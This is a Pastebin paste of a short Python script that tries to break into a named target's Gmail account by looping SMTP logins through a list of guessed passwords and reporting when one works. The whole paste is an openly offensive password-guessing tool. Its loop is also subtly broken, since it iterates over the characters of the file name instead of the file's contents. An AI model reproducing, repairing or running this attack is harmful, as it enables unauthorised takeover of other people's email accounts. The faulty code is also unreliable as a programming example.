Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- smtp_srverG= smtplib.SMTP('smtp.gmail.com', 587)
- smtp_srverG.ehlo()
- smtp_srverG.starttls()
- user = input("Enter the target's email address: ")
- passwfile = input("Enter the password file name: ")
- passwfile = passwfile.strip()
- for password in passwfile:
- try:
- smtp_srverG.login(user, password)
- print("[+] Password Found: %s" % password)
- break;
- except smtplib.SMTPAuthenticationError:
- print("[!] Password Incorrect: %s" % password)
Add Comment
Please, Sign In to add comment